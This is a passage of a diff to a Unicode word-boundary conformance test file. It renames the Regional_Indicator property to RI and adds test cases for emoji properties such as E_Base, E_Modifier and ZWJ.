÷ 0022 ÷ 005F ÷ # ÷ [0.2] QUOTATION MARK (Double_Quote) ÷ [999.0] LOW LINE (ExtendNumLet) ÷ [0.3]
÷ 0022 × 0308 ÷ 005F ÷ # ÷ [0.2] QUOTATION MARK (Double_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LOW LINE (ExtendNumLet) ÷ [0.3]
-÷ 0022 ÷ 1F1E6 ÷ # ÷ [0.2] QUOTATION MARK (Double_Quote) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) ÷ [0.3]
-÷ 0022 × 0308 ÷ 1F1E6 ÷ # ÷ [0.2] QUOTATION MARK (Double_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) ÷ [0.3]
+÷ 0022 ÷ 1F1E6 ÷ # ÷ [0.2] QUOTATION MARK (Double_Quote) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+÷ 0022 × 0308 ÷ 1F1E6 ÷ # ÷ [0.2] QUOTATION MARK (Double_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
÷ 0022 ÷ 05D0 ÷ # ÷ [0.2] QUOTATION MARK (Double_Quote) ÷ [999.0] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [0.3]
÷ 0022 × 0308 ÷ 05D0 ÷ # ÷ [0.2] QUOTATION MARK (Double_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [0.3]
÷ 0022 ÷ 0022 ÷ # ÷ [0.2] QUOTATION MARK (Double_Quote) ÷ [999.0] QUOTATION MARK (Double_Quote) ÷ [0.3]
÷ 0022 × 0308 ÷ 0022 ÷ # ÷ [0.2] QUOTATION MARK (Double_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] QUOTATION MARK (Double_Quote) ÷ [0.3]
÷ 0022 ÷ 0027 ÷ # ÷ [0.2] QUOTATION MARK (Double_Quote) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
÷ 0022 × 0308 ÷ 0027 ÷ # ÷ [0.2] QUOTATION MARK (Double_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
+÷ 0022 ÷ 261D ÷ # ÷ [0.2] QUOTATION MARK (Double_Quote) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
+÷ 0022 × 0308 ÷ 261D ÷ # ÷ [0.2] QUOTATION MARK (Double_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
+÷ 0022 ÷ 1F3FB ÷ # ÷ [0.2] QUOTATION MARK (Double_Quote) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
+÷ 0022 × 0308 ÷ 1F3FB ÷ # ÷ [0.2] QUOTATION MARK (Double_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
+÷ 0022 ÷ 2640 ÷ # ÷ [0.2] QUOTATION MARK (Double_Quote) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 0022 × 0308 ÷ 2640 ÷ # ÷ [0.2] QUOTATION MARK (Double_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 0022 ÷ 1F466 ÷ # ÷ [0.2] QUOTATION MARK (Double_Quote) ÷ [999.0] BOY (EBG) ÷ [0.3]
+÷ 0022 × 0308 ÷ 1F466 ÷ # ÷ [0.2] QUOTATION MARK (Double_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3]
÷ 0022 × 00AD ÷ # ÷ [0.2] QUOTATION MARK (Double_Quote) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
÷ 0022 × 0308 × 00AD ÷ # ÷ [0.2] QUOTATION MARK (Double_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
÷ 0022 × 0300 ÷ # ÷ [0.2] QUOTATION MARK (Double_Quote) × [4.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
÷ 0022 × 0308 × 0300 ÷ # ÷ [0.2] QUOTATION MARK (Double_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
+÷ 0022 × 200D ÷ # ÷ [0.2] QUOTATION MARK (Double_Quote) × [4.0] ZERO WIDTH JOINER (ZWJ_FE) ÷ [0.3]
+÷ 0022 × 0308 × 200D ÷ # ÷ [0.2] QUOTATION MARK (Double_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] ZERO WIDTH JOINER (ZWJ_FE) ÷ [0.3]
÷ 0022 ÷ 0061 × 2060 ÷ # ÷ [0.2] QUOTATION MARK (Double_Quote) ÷ [999.0] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
÷ 0022 × 0308 ÷ 0061 × 2060 ÷ # ÷ [0.2] QUOTATION MARK (Double_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
÷ 0022 ÷ 0061 ÷ 003A ÷ # ÷ [0.2] QUOTATION MARK (Double_Quote) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) ÷ [0.3]
@@ -770,18 +912,28 @@
÷ 0027 × 0308 ÷ 0030 ÷ # ÷ [0.2] APOSTROPHE (Single_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] DIGIT ZERO (Numeric) ÷ [0.3]
÷ 0027 ÷ 005F ÷ # ÷ [0.2] APOSTROPHE (Single_Quote) ÷ [999.0] LOW LINE (ExtendNumLet) ÷ [0.3]
÷ 0027 × 0308 ÷ 005F ÷ # ÷ [0.2] APOSTROPHE (Single_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LOW LINE (ExtendNumLet) ÷ [0.3]
-÷ 0027 ÷ 1F1E6 ÷ # ÷ [0.2] APOSTROPHE (Single_Quote) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) ÷ [0.3]
-÷ 0027 × 0308 ÷ 1F1E6 ÷ # ÷ [0.2] APOSTROPHE (Single_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) ÷ [0.3]
+÷ 0027 ÷ 1F1E6 ÷ # ÷ [0.2] APOSTROPHE (Single_Quote) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+÷ 0027 × 0308 ÷ 1F1E6 ÷ # ÷ [0.2] APOSTROPHE (Single_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
÷ 0027 ÷ 05D0 ÷ # ÷ [0.2] APOSTROPHE (Single_Quote) ÷ [999.0] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [0.3]
÷ 0027 × 0308 ÷ 05D0 ÷ # ÷ [0.2] APOSTROPHE (Single_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [0.3]
÷ 0027 ÷ 0022 ÷ # ÷ [0.2] APOSTROPHE (Single_Quote) ÷ [999.0] QUOTATION MARK (Double_Quote) ÷ [0.3]
÷ 0027 × 0308 ÷ 0022 ÷ # ÷ [0.2] APOSTROPHE (Single_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] QUOTATION MARK (Double_Quote) ÷ [0.3]
÷ 0027 ÷ 0027 ÷ # ÷ [0.2] APOSTROPHE (Single_Quote) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
÷ 0027 × 0308 ÷ 0027 ÷ # ÷ [0.2] APOSTROPHE (Single_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
+÷ 0027 ÷ 261D ÷ # ÷ [0.2] APOSTROPHE (Single_Quote) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
+÷ 0027 × 0308 ÷ 261D ÷ # ÷ [0.2] APOSTROPHE (Single_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
+÷ 0027 ÷ 1F3FB ÷ # ÷ [0.2] APOSTROPHE (Single_Quote) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
+÷ 0027 × 0308 ÷ 1F3FB ÷ # ÷ [0.2] APOSTROPHE (Single_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
+÷ 0027 ÷ 2640 ÷ # ÷ [0.2] APOSTROPHE (Single_Quote) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 0027 × 0308 ÷ 2640 ÷ # ÷ [0.2] APOSTROPHE (Single_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 0027 ÷ 1F466 ÷ # ÷ [0.2] APOSTROPHE (Single_Quote) ÷ [999.0] BOY (EBG) ÷ [0.3]
+÷ 0027 × 0308 ÷ 1F466 ÷ # ÷ [0.2] APOSTROPHE (Single_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3]
÷ 0027 × 00AD ÷ # ÷ [0.2] APOSTROPHE (Single_Quote) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
÷ 0027 × 0308 × 00AD ÷ # ÷ [0.2] APOSTROPHE (Single_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
÷ 0027 × 0300 ÷ # ÷ [0.2] APOSTROPHE (Single_Quote) × [4.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
÷ 0027 × 0308 × 0300 ÷ # ÷ [0.2] APOSTROPHE (Single_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
+÷ 0027 × 200D ÷ # ÷ [0.2] APOSTROPHE (Single_Quote) × [4.0] ZERO WIDTH JOINER (ZWJ_FE) ÷ [0.3]
+÷ 0027 × 0308 × 200D ÷ # ÷ [0.2] APOSTROPHE (Single_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] ZERO WIDTH JOINER (ZWJ_FE) ÷ [0.3]
÷ 0027 ÷ 0061 × 2060 ÷ # ÷ [0.2] APOSTROPHE (Single_Quote) ÷ [999.0] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
÷ 0027 × 0308 ÷ 0061 × 2060 ÷ # ÷ [0.2] APOSTROPHE (Single_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
÷ 0027 ÷ 0061 ÷ 003A ÷ # ÷ [0.2] APOSTROPHE (Single_Quote) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) ÷ [0.3]
@@ -800,6 +952,254 @@
÷ 0027 × 0308 ÷ 0031 ÷ 002C ÷ # ÷ [0.2] APOSTROPHE (Single_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] COMMA (MidNum) ÷ [0.3]
÷ 0027 ÷ 0031 ÷ 002E × 2060 ÷ # ÷ [0.2] APOSTROPHE (Single_Quote) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
÷ 0027 × 0308 ÷ 0031 ÷ 002E × 2060 ÷ # ÷ [0.2] APOSTROPHE (Single_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
+÷ 261D ÷ 0001 ÷ # ÷ [0.2] WHITE UP POINTING INDEX (E_Base) ÷ [999.0] <START OF HEADING> (Other) ÷ [0.3]
+÷ 261D × 0308 ÷ 0001 ÷ # ÷ [0.2] WHITE UP POINTING INDEX (E_Base) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] <START OF HEADING> (Other) ÷ [0.3]
+÷ 261D ÷ 000D ÷ # ÷ [0.2] WHITE UP POINTING INDEX (E_Base) ÷ [3.2] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+÷ 261D × 0308 ÷ 000D ÷ # ÷ [0.2] WHITE UP POINTING INDEX (E_Base) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [3.2] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+÷ 261D ÷ 000A ÷ # ÷ [0.2] WHITE UP POINTING INDEX (E_Base) ÷ [3.2] <LINE FEED (LF)> (LF) ÷ [0.3]
+÷ 261D × 0308 ÷ 000A ÷ # ÷ [0.2] WHITE UP POINTING INDEX (E_Base) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [3.2] <LINE FEED (LF)> (LF) ÷ [0.3]
+÷ 261D ÷ 000B ÷ # ÷ [0.2] WHITE UP POINTING INDEX (E_Base) ÷ [3.2] <LINE TABULATION> (Newline) ÷ [0.3]
+÷ 261D × 0308 ÷ 000B ÷ # ÷ [0.2] WHITE UP POINTING INDEX (E_Base) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [3.2] <LINE TABULATION> (Newline) ÷ [0.3]
+÷ 261D ÷ 3031 ÷ # ÷ [0.2] WHITE UP POINTING INDEX (E_Base) ÷ [999.0] VERTICAL KANA REPEAT MARK (Katakana) ÷ [0.3]
+÷ 261D × 0308 ÷ 3031 ÷ # ÷ [0.2] WHITE UP POINTING INDEX (E_Base) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] VERTICAL KANA REPEAT MARK (Katakana) ÷ [0.3]
+÷ 261D ÷ 0041 ÷ # ÷ [0.2] WHITE UP POINTING INDEX (E_Base) ÷ [999.0] LATIN CAPITAL LETTER A (ALetter) ÷ [0.3]
+÷ 261D × 0308 ÷ 0041 ÷ # ÷ [0.2] WHITE UP POINTING INDEX (E_Base) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LATIN CAPITAL LETTER A (ALetter) ÷ [0.3]
+÷ 261D ÷ 003A ÷ # ÷ [0.2] WHITE UP POINTING INDEX (E_Base) ÷ [999.0] COLON (MidLetter) ÷ [0.3]
+÷ 261D × 0308 ÷ 003A ÷ # ÷ [0.2] WHITE UP POINTING INDEX (E_Base) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] COLON (MidLetter) ÷ [0.3]
+÷ 261D ÷ 002C ÷ # ÷ [0.2] WHITE UP POINTING INDEX (E_Base) ÷ [999.0] COMMA (MidNum) ÷ [0.3]
+÷ 261D × 0308 ÷ 002C ÷ # ÷ [0.2] WHITE UP POINTING INDEX (E_Base) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] COMMA (MidNum) ÷ [0.3]
+÷ 261D ÷ 002E ÷ # ÷ [0.2] WHITE UP POINTING INDEX (E_Base) ÷ [999.0] FULL STOP (MidNumLet) ÷ [0.3]
+÷ 261D × 0308 ÷ 002E ÷ # ÷ [0.2] WHITE UP POINTING INDEX (E_Base) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FULL STOP (MidNumLet) ÷ [0.3]
+÷ 261D ÷ 0030 ÷ # ÷ [0.2] WHITE UP POINTING INDEX (E_Base) ÷ [999.0] DIGIT ZERO (Numeric) ÷ [0.3]
+÷ 261D × 0308 ÷ 0030 ÷ # ÷ [0.2] WHITE UP POINTING INDEX (E_Base) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] DIGIT ZERO (Numeric) ÷ [0.3]
+÷ 261D ÷ 005F ÷ # ÷ [0.2] WHITE UP POINTING INDEX (E_Base) ÷ [999.0] LOW LINE (ExtendNumLet) ÷ [0.3]
+÷ 261D × 0308 ÷ 005F ÷ # ÷ [0.2] WHITE UP POINTING INDEX (E_Base) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LOW LINE (ExtendNumLet) ÷ [0.3]
+÷ 261D ÷ 1F1E6 ÷ # ÷ [0.2] WHITE UP POINTING INDEX (E_Base) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+÷ 261D × 0308 ÷ 1F1E6 ÷ # ÷ [0.2] WHITE UP POINTING INDEX (E_Base) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+÷ 261D ÷ 05D0 ÷ # ÷ [0.2] WHITE UP POINTING INDEX (E_Base) ÷ [999.0] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [0.3]
+÷ 261D × 0308 ÷ 05D0 ÷ # ÷ [0.2] WHITE UP POINTING INDEX (E_Base) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [0.3]
+÷ 261D ÷ 0022 ÷ # ÷ [0.2] WHITE UP POINTING INDEX (E_Base) ÷ [999.0] QUOTATION MARK (Double_Quote) ÷ [0.3]
+÷ 261D × 0308 ÷ 0022 ÷ # ÷ [0.2] WHITE UP POINTING INDEX (E_Base) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] QUOTATION MARK (Double_Quote) ÷ [0.3]
+÷ 261D ÷ 0027 ÷ # ÷ [0.2] WHITE UP POINTING INDEX (E_Base) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
+÷ 261D × 0308 ÷ 0027 ÷ # ÷ [0.2] WHITE UP POINTING INDEX (E_Base) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
+÷ 261D ÷ 261D ÷ # ÷ [0.2] WHITE UP POINTING INDEX (E_Base) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
+÷ 261D × 0308 ÷ 261D ÷ # ÷ [0.2] WHITE UP POINTING INDEX (E_Base) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
+÷ 261D × 1F3FB ÷ # ÷ [0.2] WHITE UP POINTING INDEX (E_Base) × [14.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
+÷ 261D × 0308 × 1F3FB ÷ # ÷ [0.2] WHITE UP POINTING INDEX (E_Base) × [4.0] COMBINING DIAERESIS (Extend_FE) × [14.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
+÷ 261D ÷ 2640 ÷ # ÷ [0.2] WHITE UP POINTING INDEX (E_Base) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 261D × 0308 ÷ 2640 ÷ # ÷ [0.2] WHITE UP POINTING INDEX (E_Base) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 261D ÷ 1F466 ÷ # ÷ [0.2] WHITE UP POINTING INDEX (E_Base) ÷ [999.0] BOY (EBG) ÷ [0.3]
+÷ 261D × 0308 ÷ 1F466 ÷ # ÷ [0.2] WHITE UP POINTING INDEX (E_Base) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3]
+÷ 261D × 00AD ÷ # ÷ [0.2] WHITE UP POINTING INDEX (E_Base) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
+÷ 261D × 0308 × 00AD ÷ # ÷ [0.2] WHITE UP POINTING INDEX (E_Base) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
+÷ 261D × 0300 ÷ # ÷ [0.2] WHITE UP POINTING INDEX (E_Base) × [4.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
+÷ 261D × 0308 × 0300 ÷ # ÷ [0.2] WHITE UP POINTING INDEX (E_Base) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
+÷ 261D × 200D ÷ # ÷ [0.2] WHITE UP POINTING INDEX (E_Base) × [4.0] ZERO WIDTH JOINER (ZWJ_FE) ÷ [0.3]
+÷ 261D × 0308 × 200D ÷ # ÷ [0.2] WHITE UP POINTING INDEX (E_Base) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] ZERO WIDTH JOINER (ZWJ_FE) ÷ [0.3]
+÷ 261D ÷ 0061 × 2060 ÷ # ÷ [0.2] WHITE UP POINTING INDEX (E_Base) ÷ [999.0] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
+÷ 261D × 0308 ÷ 0061 × 2060 ÷ # ÷ [0.2] WHITE UP POINTING INDEX (E_Base) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
+÷ 261D ÷ 0061 ÷ 003A ÷ # ÷ [0.2] WHITE UP POINTING INDEX (E_Base) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) ÷ [0.3]
+÷ 261D × 0308 ÷ 0061 ÷ 003A ÷ # ÷ [0.2] WHITE UP POINTING INDEX (E_Base) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) ÷ [0.3]
+÷ 261D ÷ 0061 ÷ 0027 ÷ # ÷ [0.2] WHITE UP POINTING INDEX (E_Base) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
+÷ 261D × 0308 ÷ 0061 ÷ 0027 ÷ # ÷ [0.2] WHITE UP POINTING INDEX (E_Base) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
+÷ 261D ÷ 0061 ÷ 0027 × 2060 ÷ # ÷ [0.2] WHITE UP POINTING INDEX (E_Base) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
+÷ 261D × 0308 ÷ 0061 ÷ 0027 × 2060 ÷ # ÷ [0.2] WHITE UP POINTING INDEX (E_Base) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
+÷ 261D ÷ 0061 ÷ 002C ÷ # ÷ [0.2] WHITE UP POINTING INDEX (E_Base) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COMMA (MidNum) ÷ [0.3]
+÷ 261D × 0308 ÷ 0061 ÷ 002C ÷ # ÷ [0.2] WHITE UP POINTING INDEX (E_Base) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COMMA (MidNum) ÷ [0.3]
+÷ 261D ÷ 0031 ÷ 003A ÷ # ÷ [0.2] WHITE UP POINTING INDEX (E_Base) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] COLON (MidLetter) ÷ [0.3]
+÷ 261D × 0308 ÷ 0031 ÷ 003A ÷ # ÷ [0.2] WHITE UP POINTING INDEX (E_Base) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] COLON (MidLetter) ÷ [0.3]
+÷ 261D ÷ 0031 ÷ 0027 ÷ # ÷ [0.2] WHITE UP POINTING INDEX (E_Base) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
+÷ 261D × 0308 ÷ 0031 ÷ 0027 ÷ # ÷ [0.2] WHITE UP POINTING INDEX (E_Base) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
+÷ 261D ÷ 0031 ÷ 002C ÷ # ÷ [0.2] WHITE UP POINTING INDEX (E_Base) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] COMMA (MidNum) ÷ [0.3]
+÷ 261D × 0308 ÷ 0031 ÷ 002C ÷ # ÷ [0.2] WHITE UP POINTING INDEX (E_Base) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] COMMA (MidNum) ÷ [0.3]
+÷ 261D ÷ 0031 ÷ 002E × 2060 ÷ # ÷ [0.2] WHITE UP POINTING INDEX (E_Base) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
+÷ 261D × 0308 ÷ 0031 ÷ 002E × 2060 ÷ # ÷ [0.2] WHITE UP POINTING INDEX (E_Base) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
+÷ 1F3FB ÷ 0001 ÷ # ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [999.0] <START OF HEADING> (Other) ÷ [0.3]
+÷ 1F3FB × 0308 ÷ 0001 ÷ # ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] <START OF HEADING> (Other) ÷ [0.3]
+÷ 1F3FB ÷ 000D ÷ # ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [3.2] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+÷ 1F3FB × 0308 ÷ 000D ÷ # ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [3.2] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+÷ 1F3FB ÷ 000A ÷ # ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [3.2] <LINE FEED (LF)> (LF) ÷ [0.3]
+÷ 1F3FB × 0308 ÷ 000A ÷ # ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [3.2] <LINE FEED (LF)> (LF) ÷ [0.3]
+÷ 1F3FB ÷ 000B ÷ # ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [3.2] <LINE TABULATION> (Newline) ÷ [0.3]
+÷ 1F3FB × 0308 ÷ 000B ÷ # ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [3.2] <LINE TABULATION> (Newline) ÷ [0.3]
+÷ 1F3FB ÷ 3031 ÷ # ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [999.0] VERTICAL KANA REPEAT MARK (Katakana) ÷ [0.3]
+÷ 1F3FB × 0308 ÷ 3031 ÷ # ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] VERTICAL KANA REPEAT MARK (Katakana) ÷ [0.3]
+÷ 1F3FB ÷ 0041 ÷ # ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [999.0] LATIN CAPITAL LETTER A (ALetter) ÷ [0.3]
+÷ 1F3FB × 0308 ÷ 0041 ÷ # ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LATIN CAPITAL LETTER A (ALetter) ÷ [0.3]
+÷ 1F3FB ÷ 003A ÷ # ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [999.0] COLON (MidLetter) ÷ [0.3]
